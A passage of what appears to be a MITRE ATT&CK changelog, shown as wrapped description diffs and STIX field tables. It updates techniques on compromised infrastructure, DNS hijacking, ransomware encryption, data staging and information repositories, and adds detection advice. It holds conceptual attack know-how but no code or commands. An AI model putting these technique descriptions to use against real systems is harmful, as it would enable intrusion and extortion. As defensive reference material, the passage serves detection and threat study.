| > | NameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation | > | n: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens | ||
| > | : FireEye EPS Awakens Part 2) Additionally, adversaries may | > | Part 2) Additionally, adversaries may compromise numerous ma | ||
| > | compromise numerous machines to form a botnet they can lever | > | chines to form a botnet they can leverage. Use of compromis | ||
| > | age. Use of compromised infrastructure allows an adversary | > | ed infrastructure allows an adversary to stage, launch, and | ||
| > | to stage, launch, and execute an operation. Compromised infr | > | execute an operation. Compromised infrastructure can help ad | ||
| > | astructure can help adversary operations blend in with traff | > | versary operations blend in with traffic that is seen as nor | ||
| > | ic that is seen as normal, such as contact with high reputat | > | mal, such as contact with high reputation or trusted sites. | ||
| > | ion or trusted sites. By using compromised infrastructure, a | > | For example, adversaries may leverage compromised infrastruc | ||
| > | dversaries may make it difficult to tie their actions back t | > | ture (potentially also in conjunction with [Digital Certific | ||
| > | o them. Prior to targeting, adversaries may compromise the i | > | ates](https://attack.mitre.org/techniques/T1588/004)) to fur | ||
| > | nfrastructure of other adversaries.(Citation: NSA NCSC Turla | > | ther blend in and support staged information gathering and/o | ||
| > | OilRig) | > | r [Phishing](https://attack.mitre.org/techniques/T1566) camp | ||
| > | aigns.(Citation: FireEye DNS Hijack 2019) By using comprom | ||||
| > | ised infrastructure, adversaries may make it difficult to ti | ||||
| > | e their actions back to them. Prior to targeting, adversarie | ||||
| > | s may compromise the infrastructure of other adversaries.(Ci | ||||
| > | tation: NSA NCSC Turla OilRig) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Jeremy Galloway'] | |
| x_mitre_data_sources | ['Internet Scan: Response Content', 'Domain Name: Domain Registration', 'Domain Name: Passive DNS', 'Domain Name: Active DNS', 'Internet Scan: Response Metadata'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:03:23.937000+00:00 | 2022-04-20 14:26:33.716000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) | Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) |
| external_references[1]['source_name'] | Mandiant APT1 | FireEye DNS Hijack 2019 |
| external_references[1]['description'] | Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. | Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020. |
| external_references[1]['url'] | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf | https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html |
| external_references[3]['source_name'] | Talos DNSpionage Nov 2018 | Koczwara Beacon Hunting Sep 2021 |
| external_references[3]['description'] | Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. | Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. |
| external_references[3]['url'] | https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html | https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 |
| external_references[4]['source_name'] | FireEye EPS Awakens Part 2 | Mandiant APT1 |
| external_references[4]['description'] | Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016. | Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
| external_references[5]['source_name'] | NSA NCSC Turla OilRig | Talos DNSpionage Nov 2018 |
| external_references[5]['description'] | NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020. | Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. |
| external_references[5]['url'] | https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf | https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'NSA NCSC Turla OilRig', 'description': 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.', 'url': 'https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'FireEye EPS Awakens Part 2', 'description': 'Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html'} |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party DNS servers that can |
| > | rd-party DNS servers that can be used during targeting. Duri | > | be used during targeting. During post-compromise activity, a | ||
| > | ng post-compromise activity, adversaries may utilize DNS tra | > | dversaries may utilize DNS traffic for various tasks, includ | ||
| > | ffic for various tasks, including for Command and Control (e | > | ing for Command and Control (ex: [Application Layer Protocol | ||
| > | x: [Application Layer Protocol](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1071)). Instead of se | ||
| > | hniques/T1071)). Instead of setting up their own DNS servers | > | tting up their own DNS servers, adversaries may compromise t | ||
| > | , adversaries may compromise third-party DNS servers in supp | > | hird-party DNS servers in support of operations. By comprom | ||
| > | ort of operations. By compromising DNS servers, adversaries | > | ising DNS servers, adversaries can alter DNS records. Such c | ||
| > | can alter DNS records. Such control can allow for redirecti | > | ontrol can allow for redirection of an organization's traffi | ||
| > | on of an organization's traffic, facilitating Collection and | > | c, facilitating Collection and Credential Access efforts for | ||
| > | Credential Access efforts for the adversary.(Citation: Talo | > | the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio | ||
| > | s DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Ad | > | n: FireEye DNS Hijack 2019) Additionally, adversaries may l | ||
| > | versaries may also be able to silently create subdomains poi | > | everage such control in conjunction with [Digital Certificat | ||
| > | nted at malicious servers without tipping off the actual own | > | es](https://attack.mitre.org/techniques/T1588/004) to redire | ||
| > | er of the DNS server.(Citation: CiscoAngler)(Citation: Proof | > | ct traffic to adversary-controlled infrastructure, mimicking | ||
| > | point Domain Shadowing) | > | normal trusted network communications.(Citation: FireEye DN | ||
| > | S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Advers | ||||
| > | aries may also be able to silently create subdomains pointed | ||||
| > | at malicious servers without tipping off the actual owner o | ||||
| > | f the DNS server.(Citation: CiscoAngler)(Citation: Proofpoin | ||||
| > | t Domain Shadowing) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Jeremy Galloway'] | |
| x_mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Passive DNS'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 01:22:53.922000+00:00 | 2022-04-19 21:22:13.578000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) | Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) |
| external_references[1]['source_name'] | Talos DNSpionage Nov 2018 | FireEye DNS Hijack 2019 |
| external_references[1]['description'] | Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. | Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020. |
| external_references[1]['url'] | https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html | https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html |
| external_references[2]['source_name'] | FireEye DNS Hijack 2019 | Crowdstrike DNS Hijack 2019 |
| external_references[2]['description'] | Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020. | Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html | https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/ |
| external_references[3]['source_name'] | CiscoAngler | Talos DNSpionage Nov 2018 |
| external_references[3]['description'] | Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017. | Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. |
| external_references[3]['url'] | https://blogs.cisco.com/security/talos/angler-domain-shadowing | https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html |
| external_references[4]['source_name'] | Proofpoint Domain Shadowing | CiscoAngler |
| external_references[4]['description'] | Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020. | Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017. |
| external_references[4]['url'] | https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows | https://blogs.cisco.com/security/talos/angler-domain-shadowing |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Proofpoint Domain Shadowing', 'description': 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows'} |
Current version: 1.3
Version changed from: 1.0 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may encrypt data on target systems or on large n | t | 1 | Adversaries may encrypt data on target systems or on large n |
| > | umbers of systems in a network to interrupt availability to | > | umbers of systems in a network to interrupt availability to | ||
| > | system and network resources. They can attempt to render sto | > | system and network resources. They can attempt to render sto | ||
| > | red data inaccessible by encrypting files or data on local a | > | red data inaccessible by encrypting files or data on local a | ||
| > | nd remote drives and withholding access to a decryption key. | > | nd remote drives and withholding access to a decryption key. | ||
| > | This may be done in order to extract monetary compensation | > | This may be done in order to extract monetary compensation | ||
| > | from a victim in exchange for decryption or a decryption key | > | from a victim in exchange for decryption or a decryption key | ||
| > | (ransomware) or to render data permanently inaccessible in | > | (ransomware) or to render data permanently inaccessible in | ||
| > | cases where the key is not saved or transmitted.(Citation: U | > | cases where the key is not saved or transmitted.(Citation: U | ||
| > | S-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Cit | > | S-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Cit | ||
| > | ation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) | > | ation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) | ||
| > | In the case of ransomware, it is typical that common user f | > | In the case of ransomware, it is typical that common user | ||
| > | iles like Office documents, PDFs, images, videos, audio, tex | > | files like Office documents, PDFs, images, videos, audio, te | ||
| > | t, and source code files will be encrypted. In some cases, a | > | xt, and source code files will be encrypted (and often renam | ||
| > | dversaries may encrypt critical system files, disk partition | > | ed and/or tagged with specific file markers). Adversaries ma | ||
| > | s, and the MBR.(Citation: US-CERT NotPetya 2017) To maximiz | > | y need to first employ other behaviors, such as [File and Di | ||
| > | e impact on the target organization, malware designed for en | > | rectory Permissions Modification](https://attack.mitre.org/t | ||
| > | crypting data may have worm-like features to propagate acros | > | echniques/T1222) or [System Shutdown/Reboot](https://attack. | ||
| > | s a network by leveraging other attack techniques like [Vali | > | mitre.org/techniques/T1529), in order to unlock and/or gain | ||
| > | d Accounts](https://attack.mitre.org/techniques/T1078), [OS | > | access to manipulate these files.(Citation: CarbonBlack Cont | ||
| > | Credential Dumping](https://attack.mitre.org/techniques/T100 | > | i July 2020) In some cases, adversaries may encrypt critical | ||
| > | 3), and [SMB/Windows Admin Shares](https://attack.mitre.org/ | > | system files, disk partitions, and the MBR.(Citation: US-CE | ||
| > | techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Cita | > | RT NotPetya 2017) To maximize impact on the target organiz | ||
| > | tion: US-CERT NotPetya 2017) | > | ation, malware designed for encrypting data may have worm-li | ||
| > | ke features to propagate across a network by leveraging othe | ||||
| > | r attack techniques like [Valid Accounts](https://attack.mit | ||||
| > | re.org/techniques/T1078), [OS Credential Dumping](https://at | ||||
| > | tack.mitre.org/techniques/T1003), and [SMB/Windows Admin Sha | ||||
| > | res](https://attack.mitre.org/techniques/T1021/002).(Citatio | ||||
| > | n: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) E | ||||
| > | ncryption malware may also leverage [Internal Defacement](ht | ||||
| > | tps://attack.mitre.org/techniques/T1491/001), such as changi | ||||
| > | ng victim wallpapers, or otherwise intimidate victims by sen | ||||
| > | ding ransom notes or other messages to connected printers (k | ||||
| > | nown as "print bombing").(Citation: NHS Digital Egregor Nov | ||||
| > | 2020) In cloud environments, storage objects within comprom | ||||
| > | ised accounts may also be encrypted.(Citation: Rhino S3 Rans | ||||
| > | omware Part 1) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Oleg Kolesnikov, Securonix', 'Mayuresh Dani, Qualys', 'Harshal Tupsamudre, Qualys', 'Travis Smith, Qualys'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'root', 'SYSTEM'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 14:52:11.708000+00:00 | 2022-04-19 17:59:45.105000+00:00 |
| description | Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) | Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").(Citation: NHS Digital Egregor Nov 2020) In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) |
| external_references[1]['source_name'] | US-CERT Ransomware 2016 | CarbonBlack Conti July 2020 |
| external_references[1]['description'] | US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019. | Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021. |
| external_references[1]['url'] | https://www.us-cert.gov/ncas/alerts/TA16-091A | https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/ |
| external_references[3]['source_name'] | US-CERT NotPetya 2017 | Rhino S3 Ransomware Part 1 |
| external_references[3]['description'] | US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019. | Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021. |
| external_references[3]['url'] | https://www.us-cert.gov/ncas/alerts/TA17-181A | https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ |
| external_references[4]['source_name'] | US-CERT SamSam 2018 | NHS Digital Egregor Nov 2020 |
| external_references[4]['description'] | US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019. | NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020. |
| external_references[4]['url'] | https://www.us-cert.gov/ncas/alerts/AA18-337A | https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary |
| x_mitre_data_sources[0] | Kernel drivers | Process: Process Creation |
| x_mitre_data_sources[1] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Cloud Storage: Cloud Storage Metadata |
| x_mitre_data_sources[3] | Process monitoring | Cloud Storage: Cloud Storage Modification |
| x_mitre_detection | Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection. | Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection. In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies. |
| x_mitre_version | 1.0 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US-CERT Ransomware 2016', 'description': 'US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA16-091A'} | |
| external_references | {'source_name': 'US-CERT NotPetya 2017', 'description': 'US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA17-181A'} | |
| external_references | {'source_name': 'US-CERT SamSam 2018', 'description': 'US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/AA18-337A'} | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_platforms | IaaS |
Current version: 1.4
Version changed from: 1.2 → 1.4
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:08.180000+00:00 | 2022-01-10 22:19:56.116000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Access |
| x_mitre_detection | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Consider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection. |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.2 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 3.2
Version changed from: 3.0 → 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage information repositories to mine va | t | 1 | Adversaries may leverage information repositories to mine va |
| > | luable information. Information repositories are tools that | > | luable information. Information repositories are tools that | ||
| > | allow for storage of information, typically to facilitate co | > | allow for storage of information, typically to facilitate co | ||
| > | llaboration or information sharing between users, and can st | > | llaboration or information sharing between users, and can st | ||
| > | ore a wide variety of data that may aid adversaries in furth | > | ore a wide variety of data that may aid adversaries in furth | ||
| > | er objectives, or direct access to the target information. | > | er objectives, or direct access to the target information. A | ||
| > | The following is a brief list of example information that ma | > | dversaries may also abuse external sharing features to share | ||
| > | y hold potential value to an adversary and may also be found | > | sensitive documents with recipients outside of the organiza | ||
| > | on an information repository: * Policies, procedures, and | > | tion. The following is a brief list of example information | ||
| > | standards * Physical / logical network diagrams * System arc | > | that may hold potential value to an adversary and may also | ||
| > | hitecture diagrams * Technical system documentation * Testin | > | be found on an information repository: * Policies, procedur | ||
| > | g / development credentials * Work / project schedules * Sou | > | es, and standards * Physical / logical network diagrams * Sy | ||
| > | rce code snippets * Links to network shares and other intern | > | stem architecture diagrams * Technical system documentation | ||
| > | al resources Information stored in a repository may vary ba | > | * Testing / development credentials * Work / project schedul | ||
| > | sed on the specific instance or environment. Specific common | > | es * Source code snippets * Links to network shares and othe | ||
| > | information repositories include [Sharepoint](https://attac | > | r internal resources Information stored in a repository may | ||
| > | k.mitre.org/techniques/T1213/002), [Confluence](https://atta | > | vary based on the specific instance or environment. Specifi | ||
| > | ck.mitre.org/techniques/T1213/001), and enterprise databases | > | c common information repositories include web-based platform | ||
| > | such as SQL Server. | > | s such as [Sharepoint](https://attack.mitre.org/techniques/T | ||
| > | 1213/002) and [Confluence](https://attack.mitre.org/techniqu | ||||
| > | es/T1213/001), specific services such as Code Repositories, | ||||
